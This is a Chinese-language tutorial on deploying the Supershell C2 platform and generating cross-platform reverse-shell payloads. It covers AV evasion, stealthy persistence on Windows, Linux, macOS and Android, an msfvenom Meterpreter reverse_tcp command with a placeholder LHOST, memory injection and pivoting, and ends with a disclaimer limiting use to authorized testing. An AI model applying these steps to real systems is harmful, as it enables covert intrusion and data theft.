Supershell实战:构建跨平台全交互式C2与反弹Shell平台
1. 项目概述:为什么我们需要一个“真正的”交互式Shell?
在渗透测试、红队演练或者日常的系统运维中,我们经常会遇到需要远程控制目标主机的情况。传统的反弹Shell方法,比如用nc、bash -i或者各种一句话木马,相信大家都用过。但这些方法有个通病:它们提供的Shell是“半残”的。你没法用Ctrl+C来终止前台进程,因为它会直接断掉整个连接;你想用vim、top这类需要接管整个终端的交互式程序?基本没戏;TAB补全、命令历史、上下键翻找,这些提升效率的功能更是奢望。你得到的,更像是一个单向的命令执行通道,而不是一个能让你“沉浸式”操作的终端。
这就是Supershell要解决的核心痛点。它不是一个简单的木马生成器,而是一个完整的C2(命令与控制)平台。其核心思路非常巧妙:在目标主机上部署一个微型的、反向连接的SSH服务器。这样一来,你通过C2平台连接上去的,就是一个标准、完整、全功能的SSH会话。你可以把它理解成,在目标机器上偷偷安装了一个只有几MB大小的openssh-server,然后你用自己的SSH客户端连上去。所有你在本地终端能做的事,在这个远程Shell里几乎都能做。
最近在相关社区和热搜词里,“跨平台”、“客户端生成”、“反弹Shell”这些词热度很高,也反映了从业者对更强大、更稳定、更便捷远程控制工具的需求。无论是进行内网横向移动,还是对Windows、Linux、甚至Android等多类型资产进行统一管理,一个能生成跨平台客户端、并提供真交互式Shell的平台,其价值不言而喻。接下来,我将从一个实践者的角度,带你从零开始,深入Supershell的客户端生成与跨平台反弹Shell的每一个细节。
2. Supershell核心架构与设计思路拆解
在动手之前,我们必须先理解Supershell是怎么工作的。知其然,更要知其所以然,这样在遇到问题时,你才能快速定位,而不是盲目尝试。
2.1 基于反向SSH隧道的C2模型
传统反弹Shell是“客户端主动连接服务器”,而Supershell采用的反向SSH隧道,可以理解为“服务器(目标机)主动连接控制端(C2)”。但这里有个关键转变:Supershell在目标机上运行的不是一个简单的bash -i >& /dev/tcp/...,而是一个完整的、轻量级的SSH服务端程序(基于reverse_ssh项目)。
工作流程如下:
- 部署阶段:我们在自己的公网VPS上部署Supershell的C2服务端(包含Web管理界面和SSH监听端)。
- 生成与投递阶段:通过C2的Web界面,根据目标系统架构(如
linux/amd64,windows/386)生成一个客户端可执行文件(Payload)。 - 上线阶段:在目标机上执行这个Payload。该Payload会作为一个后台进程或服务运行,并主动向我们的C2服务器发起连接,建立一个稳定的、加密的SSH隧道。注意:这个连接是从内网到公网,因此通常能绕过目标出站防火墙的限制。
- 控制阶段:我们在C2的Web界面里,可以看到上线的“客户端”。通过Web界面发起连接,实际上C2服务端会作为一个SSH客户端,通过已建立的反向隧道,连接到目标机上的那个微型SSH服务端,从而获得一个完整的SSH会话,并把这个会话通过WebSocket实时投射到我们的浏览器中。
这种架构的优势非常明显:
- 全交互式:获得的是标准SSH TTY,支持所有终端交互特性。
- 高隐蔽性:通信基于SSH协议,流量加密,与正常的SSH管理流量混杂,不易被简单的流量检测规则发现。
- 稳定持久:客户端内置断线重连机制,连接异常中断后会尝试重新连接C2。
- 跨平台:核心的
reverse_ssh客户端用Go编写,天然支持交叉编译到众多平台和架构。
2.2 客户端Payload的构成与免杀思路
Supershell生成的客户端,本质是一个静态编译的Go二进制程序,集成了连接参数(C2地址、端口、认证密钥等)。它的“免杀”主要基于以下几点:
- 源码级定制:在生成Payload时,我们可以选择不同的“流量封装类型”,比如
tls、http、kcp等。这相当于给原始的SSH流量包了一层其他协议的外衣,有助于绕过针对原始SSH特征的IDS/IPS检测。 - 压缩与加壳:Supershell集成了一些压缩和简单的编码手段,可以改变二进制文件的熵值(entropy)和特征码,对抗基础的静态签名查杀。但需要注意的是,并非所有平台都支持加壳压缩(如freebsd、openbsd等),在生成时控制台会有明确提示。
- 分离式加载:平台支持的“内存注入”功能,可以实现文件不落地执行。将Shellcode加载到合法进程的内存中执行,极大规避了基于文件扫描的杀毒软件。
实操心得:免杀是一个动态对抗过程,没有一劳永逸的方案。Supershell提供的是一种基础规避能力。在实战中,通常需要结合目标环境的具体杀软(如EDR)进行额外的混淆、分离或白名单利用。生成Payload后,自己先用VirusTotal(注意风险)或本地杀软扫描一下,是个好习惯。
2.3 多平台支持矩阵解析
Supershell支持的系统架构列表非常全面,从常见的x86_64(amd64)、x86(386)、ARM到一些边缘架构如MIPS、PowerPC都涵盖了。这得益于Go语言强大的交叉编译能力。在生成客户端时,你需要准确判断目标系统的两个关键信息:
- 操作系统(GOOS):如
linux,windows,darwin(macOS)。 - 处理器架构(GOARCH):如
amd64,386,arm,arm64。
判断错误会导致Payload无法执行。例如,给64位的Windows 10生成一个windows/386的客户端,虽然可能运行,但无法发挥64位系统的能力,且可能兼容性不佳;反之,给32位系统生成64位程序,则根本无法执行。
3. 环境部署与核心配置详解
理论清晰后,我们开始动手搭建自己的Supershell C2服务器。整个过程基于Docker,非常方便。
3.1 服务器端部署全流程
假设我们有一台公网Linux服务器(如Ubuntu 20.04),IP是1.2.3.4。
步骤1:获取与解压源码
# 下载最新发布版 wget https://github.com/tdragon6/Supershell/releases/latest/download/Supershell.tar.gz # 解压 tar -zxvf Supershell.tar.gz # 进入目录 cd Supershell步骤2:关键配置文件修改这是最重要的一步,直接关系到安全性和可用性。用编辑器打开config.py。
# web登录和会话配置信息 user = 'admin' # 管理后台登录用户名,建议修改 pwd = '5f4dcc3b5aa765d61d8327deb882cf99' # 重点!这是登录密码的MD5值,必须修改! # jwt加密盐 global_salt = 'Your_Very_Long_Random_String_Here' # 重点!必须修改!用于签名Token,防止伪造。 # 会话保持时间,单位:小时 expire = 48 # 共享远控shell的共享密码 share_pwd = '5f4dcc3b5aa765d61d8327deb882cf99' # 共享Shell时使用的密码MD5,建议修改且与登录密码不同。 # 共享shell会话保持时间,单位:小时 share_expire = 24关键操作解析:
- 修改密码
pwd和share_pwd:Supershell要求填写明文密码的32位小写MD5值。假设你想设置登录密码为MySuperSecret123!,那么你需要先计算出它的MD5。
然后将echo -n 'MySuperSecret123!' | md5sum | cut -d ' ' -f1 # 输出类似:e99a18c428cb38d5f260853678922e03pwd = 'b7671f125bb2ed21d0476a00cfaa9ed6'替换为pwd = 'e99a18c428cb38d5f260853678922e03'。share_pwd同理,建议使用另一个密码。 - 修改JWT盐
global_salt:这是一个任意字符串,但必须足够长且随机。如果使用默认值,攻击者可以轻易伪造JWT Token直接登录你的平台,极度危险!务必修改。
步骤3:设置公网地址环境变量这个变量用于客户端生成时,自动填充连接地址。假设你的公网IP是1.2.3.4,Supershell默认的reverse_ssh服务端口是3232。
export EXTERNAL_ADDRESS=1.2.3.4:3232为了让这个变量在后续docker-compose命令中生效,你可以直接在当前shell执行,或者将它写入当前用户的~/.bashrc文件并source ~/.bashrc。这一步遗漏会导致生成的客户端无法正确连接!
步骤4:检查端口与启动查看docker-compose.yml,确认两个关键服务端口:
nginx:映射主机8888端口,这是Web管理界面。rssh:映射主机3232端口,这是客户端反向连接的入口。 确保你服务器的防火墙放行了这两个端口(8888/tcp,3232/tcp)。如果需要修改端口,在此文件中修改ports映射即可,例如将8888:80改为8080:80。
启动服务:
docker-compose up -d使用docker-compose logs -f可以查看实时日志,确认没有报错。
步骤5:访问与登录在浏览器中访问http://1.2.3.4:8888,使用config.py中设置的user和对应的明文密码(不是MD5值)登录。例如,用户admin,密码MySuperSecret123!。
3.2 部署过程中的常见陷阱与解决方案
- 问题1:登录失败,提示密码错误。
- 排查:百分之百是
config.py中的pwd值配置错误。你填的是明文密码,而不是明文密码的MD5值。请严格按照上述步骤,使用echo -n命令计算并替换。
- 排查:百分之百是
- 问题2:客户端生成后,执行了却不上线。
- 排查:
- 首先检查
EXTERNAL_ADDRESS环境变量是否设置正确。可以在Supershell目录下执行echo $EXTERNAL_ADDRESS验证。 - 检查服务器
3232端口是否在防火墙(如ufw,firewalld)或云服务商安全组中放行。 - 在服务器上执行
docker-compose logs rssh查看反向SSH服务的日志,看是否有连接尝试被拒绝或出错。 - 检查目标主机是否能访问你的公网IP和3232端口(可能受目标网络出站策略限制)。
- 首先检查
- 排查:
- 问题3:Docker启动失败,提示端口被占用。
- 解决:修改
docker-compose.yml文件中的端口映射。例如,将8888:80改为8889:80,将3232:2222改为3233:2222。同时,别忘了同步修改EXTERNAL_ADDRESS环境变量和防火墙规则。
- 解决:修改
4. 客户端生成:跨平台Payload实战指南
登录Web管理平台后,左侧菜单找到“客户端管理”或类似入口,这里就是生成Payload的核心区域。
4.1 参数详解与生成策略
生成界面通常有以下关键选项需要填写:
- 连接地址:如果正确设置了
EXTERNAL_ADDRESS,这里会自动填充为1.2.3.4:3232。这是客户端要反向连接的目标。 - 系统架构:下拉选择框,包含了所有支持的
GOOS/GOARCH组合。这是最关键的选择。- Linux服务器:最常见的是
linux/amd64(64位) 和linux/386(32位)。使用uname -m命令查看,输出x86_64对应amd64,i686或i386对应386。 - Windows系统:现代Windows 10/11 64位选择
windows/amd64;旧的或特定环境可能需windows/386。在cmd中运行echo %PROCESSOR_ARCHITECTURE%可查看。 - macOS:选择
darwin/amd64(Intel芯片) 或darwin/arm64(Apple Silicon M系列芯片)。 - Android:通常为
android/arm64。需要adb shell执行。
- Linux服务器:最常见的是
- 连接密码:客户端连接C2时需要验证的密码。务必设置一个强密码,防止他人恶意连接你的C2服务器。
- 流量封装类型:可选
tcp(原始SSH),tls,http,kcp等。tls和http可以更好地伪装流量,绕过简单的协议检测。在要求高隐蔽性的内网环境中建议尝试。 - 是否压缩:对二进制文件进行压缩,改变特征,有一定免杀效果。但如前所述,部分平台不支持。
- 备注:为这个生成的客户端打标签,便于管理,如“财务部Web服务器-Linux”。
生成策略建议:
- 测试环境:可以先选择
tcp不压缩,快速生成测试连通性。 - 正式环境:根据目标网络防护情况,选择
tls或http封装,并开启压缩。生成后务必本地杀软扫描测试。 - 备用方案:对于同一目标,可以生成不同封装类型、不同连接密码的多个客户端,以备不时之需。
点击生成后,浏览器会下载一个可执行文件,在Linux下可能没有后缀,在Windows下是.exe,在macOS下是.dmg或直接可执行。
4.2 各平台客户端投递与执行方法
生成Payload只是第一步,如何让它跑到目标机器上并执行,是更大的挑战。
Linux/Unix系:
- 直接执行:
chmod +x supershell_client && ./supershell_client。但这样进程会在前台,终端关闭就没了。 - 后台运行:
nohup ./supershell_client > /dev/null 2>&1 &。这是最常用的方法,让进程在后台持续运行。 - 进程守护:写入
crontab(@reboot)、创建systemd服务或init.d脚本,实现开机自启和进程守护,更适合持久化。
Windows:
- 图形界面:直接双击
.exe文件。会弹出一个黑框命令行窗口,非常显眼,不推荐。 - 命令行:在cmd或PowerShell中执行
start /b supershell_client.exe,可以在后台启动。 - 持久化:
- 计划任务:通过schtasks命令创建计划任务,在系统启动或用户登录时执行。
- 服务安装:Supershell客户端本身支持以Windows服务形式安装(通常需要管理员权限)。在Web平台连接到客户端后,可以使用内置的“安装服务”功能。
- 注册表启动项:写入
HKCU\Software\Microsoft\Windows\CurrentVersion\Run或HKLM下的对应位置。
macOS:
- 与Linux类似,通过终端执行。注意可能需要在“安全性与隐私”中允许运行来自未知开发者的应用(如果遇到阻拦)。
- 持久化可通过
launchd实现,创建.plist文件放入~/Library/LaunchAgents/或/Library/LaunchDaemons/。
Android:
- 需要
adb工具和已开启USB调试或网络ADB的设备。 - 将客户端文件推送到设备:
adb push supershell_client /data/local/tmp/ - 赋予执行权限并运行:
adb shell "chmod 755 /data/local/tmp/supershell_client && /data/local/tmp/supershell_client" - 在Android高版本上,由于权限限制,后台保活比较困难。
注意事项:投递和执行过程是风险最高的环节,可能触发防病毒、EDR或行为监控。需要结合社会工程学、合法授权通道(如运维通道)、漏洞利用等方式进行。务必在获得明确授权的前提下进行所有操作。
5. 平台功能实战:从基础操控到高级技巧
当客户端成功上线后,在Web平台的“客户端列表”中可以看到它。点击连接,我们就进入了核心的交互式Shell界面。
5.1 完全交互式Shell的使用体验
这个基于浏览器的Shell,体验接近一个真正的终端:
- 快捷键支持:
Ctrl+C可以安全地终止当前运行的前台命令,而不会断开Shell连接。Ctrl+Z可以挂起进程。 - TAB补全:输入命令或路径时,按TAB键可以自动补全。
- 历史记录:上下方向键可以翻阅之前执行过的命令。
- 交互式程序:可以运行
vim,nano,top,htop,mysql,python等需要接管TTY的程序。这是传统反弹Shell无法做到的。 - 终端大小自适应:浏览器调整大小时,终端会话的
ROWS和COLUMNS环境变量会同步更新,避免显示错乱。
基础操作示例: 在Shell中,你可以像在本地一样操作:
# 查看系统信息 uname -a cat /etc/os-release # 浏览文件系统 ls -la /home/ cd /var/www/html # 编辑文件 vim config.php # 查看进程 ps aux | grep java # 下载文件到本地(通过后续的文件管理功能)5.2 文件管理:上传、下载与浏览
Supershell内置了文件管理器,这是一个极其实用的功能。
- 浏览:可以像FTP客户端一样,浏览目标机器的目录结构。
- 上传:从你的攻击机上传工具、脚本或后续利用载荷到目标机。
- 下载:从目标机下载敏感文件、配置文件、日志到你的攻击机进行分析。
- 删除/重命名:管理目标文件系统。
使用技巧:
- 大文件传输建议使用压缩后再上传下载,提高效率。
- 下载敏感文件前,可以先在Shell中用
head或tail命令预览内容,确认无误。 - 文件管理操作会留下访问时间戳,在高度敏感的环境中需注意。
5.3 内存注入:无文件攻击实践
这是Supershell的一个高级功能,也是规避基于文件检测的杀软的关键。
- 原理:将一段Shellcode(例如Metasploit的Meterpreter载荷)直接注入到目标机的一个正在运行的合法进程(如
notepad.exe,explorer.exe,svchost.exe)的内存空间中执行。整个过程,恶意载荷不会在磁盘上创建文件。 - 操作流程:
- 在“内存注入”功能页面,选择已上线的客户端。
- 选择或上传一个Shellcode文件(
.bin格式)。你可以用Msfvenom生成:msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=YOUR_IP LPORT=4444 -f raw -o payload.bin。 - 选择目标进程的PID。你可以先在交互式Shell里用
ps或tasklist命令找到合适进程的PID。 - 点击注入。如果成功,你的MSF监听器就会收到一个来自目标进程的Meterpreter会话。
重要警告:内存注入对进程和架构匹配要求严格(如64位Shellcode必须注入64位进程)。注入系统关键进程可能导致系统不稳定或崩溃。此操作风险高,需谨慎。
5.4 内网穿透与端口转发
Supershell的客户端可以开启本地监听端口,将内网其他机器的流量转发到C2服务器,从而实现内网穿透。
- 场景:你通过Web服务器(Client A)上线,发现它内网还有一台数据库服务器(192.168.1.100:3306)无法直接访问。
- 操作:
- 在Client A的管理界面,找到“开启监听”或“端口转发”功能。
- 添加一条规则:监听Client A本地的某个端口(如
0.0.0.0:13306),将流量转发到目标内网地址(192.168.1.100:3306)。 - 在Supershell C2服务器上,你会获得一个映射出来的端口(例如
3232上的某个动态端口)。 - 你现在就可以通过连接C2服务器的这个动态端口,来访问内网的数据库
192.168.1.100:3306了。
这个功能本质是利用了SSH的-L本地端口转发特性,但通过Web界面配置,更加直观方便。
5.5 客户端管理与会话共享
- 客户端列表:清晰展示所有上线客户端的信息,包括系统架构、上线时间、IP地址(客户端的出口IP)、备注等。可以在这里对客户端进行重命名、删除(踢出)等操作。
- 会话共享:这是一个协作功能。你可以将一个已连接的交互式Shell会话生成一个分享链接,并设置密码和有效期。将链接和密码发给你的队友,他们无需登录主C2平台,直接在浏览器打开链接输入密码,就能接入同一个Shell进行操作。这对于团队协同渗透测试非常有用。
6. 安全加固、问题排查与进阶思考
6.1 你的C2服务器安全吗?
部署一个功能强大的C2,也意味着它成为了一个高价值攻击目标。你必须加固它:
- 修改默认端口:
8888和3232是默认端口,容易被扫描。在docker-compose.yml中修改为不常见的端口。 - 强密码与唯一盐值:如前所述,
config.py中的登录密码(MD5)和global_salt必须修改为强随机值。 - 网络层隔离:将C2服务器放在独立的VPC或使用安全组,严格限制入站IP(例如,只允许你的办公IP访问
8888管理端口)。3232端口需要对公网开放,但可以结合云WAF或自定义防火墙规则进行流量过滤。 - HTTPS加密:默认是HTTP,通信明文。考虑在C2服务器前放置一个Nginx或Caddy反向代理,配置SSL证书,启用HTTPS访问管理界面。
- 定期更新与备份:关注Supershell项目的GitHub更新,及时修复潜在漏洞。定期备份
config.py和数据库(如果有)等重要数据。 - 日志监控:启用Docker日志,并监控服务器上的异常登录尝试、高频连接等可疑活动。
6.2 常见问题排查速查表
| 问题现象 | 可能原因 | 排查步骤 |
|---|---|---|
| 客户端执行后无反应,C2平台看不到上线 | 1. 网络不通(目标出站/防火墙) 2. EXTERNAL_ADDRESS设置错误3. 客户端被杀软拦截 | 1. 在目标机测试telnet C2_IP 3232或nc -zv C2_IP 32322. 检查C2服务器 docker-compose logs rssh有无连接日志3. 关闭目标机杀软测试,或尝试不同免杀选项 |
| 能上线,但连接Shell时失败或卡住 | 1. 网络不稳定,隧道建立失败 2. 目标系统缺少必要的PTY支持 | 1. 检查网络延迟和丢包 2. 尝试在生成客户端时选择不同的“终端类型”(如果有选项) |
| Web界面可以登录,但功能加载慢或报错 | 1. 服务器资源(CPU/内存)不足 2. 浏览器兼容性问题 3. Docker容器异常 | 1. 使用docker stats查看容器资源占用2. 换用Chrome/Firefox最新版 3. 重启容器: docker-compose restart |
| 内存注入失败 | 1. Shellcode与目标进程架构不匹配 2. 权限不足(如非SYSTEM权限注入系统进程) 3. 进程保护(如受保护的进程) | 1. 确认Shellcode位数(32/64)与目标进程一致 2. 尝试注入当前用户权限相同的进程 3. 换用其他进程或利用提权漏洞先获取更高权限 |
| 文件管理无法列出目录 | 目标机权限不足,无法读取该目录 | 在交互式Shell中先用ls -la命令确认当前用户权限 |
6.3 进阶思考与拓展
Supershell是一个优秀的开源C2起点,但在真实的对抗环境中,可能需要进一步“定制化”:
- 流量伪装进阶:虽然支持TLS/HTTP封装,但特征可能依然明显。可以考虑在C2前端部署一个真正的Web服务器(如Nginx),将
reverse_ssh的流量伪装成特定的API路径,实现更深度的流量融合。 - 域名与CDN隐匿:使用域名而非IP地址,并通过Cloudflare等CDN服务隐藏真实IP,增加溯源难度。
- 客户端持久化研究:针对不同操作系统(Windows计划任务、服务、WMI事件订阅、Linux systemd/cron/rc.local、macOS launchd),编写更隐蔽、更抗删除的持久化脚本,并集成到客户端生成逻辑中。
- 与其它工具链集成:将Supershell作为持久化通道,与漏洞扫描器、横向移动工具(如Cobalt Strike的Beacon)、信息收集脚本等结合,构建自动化攻击链。
最后需要再次强调,所有关于Supershell或任何远程控制工具的技术知识,都应仅用于授权的安全测试、教育研究或个人合法环境下的学习。未经授权使用此类工具攻击他人系统是违法行为,将面临严重的法律后果。技术的刀刃,应当用于捍卫安全,而非破坏它。在实际渗透测试项目中,清晰的授权范围、严谨的操作流程和完整的报告记录,与工具技术本身同等重要。
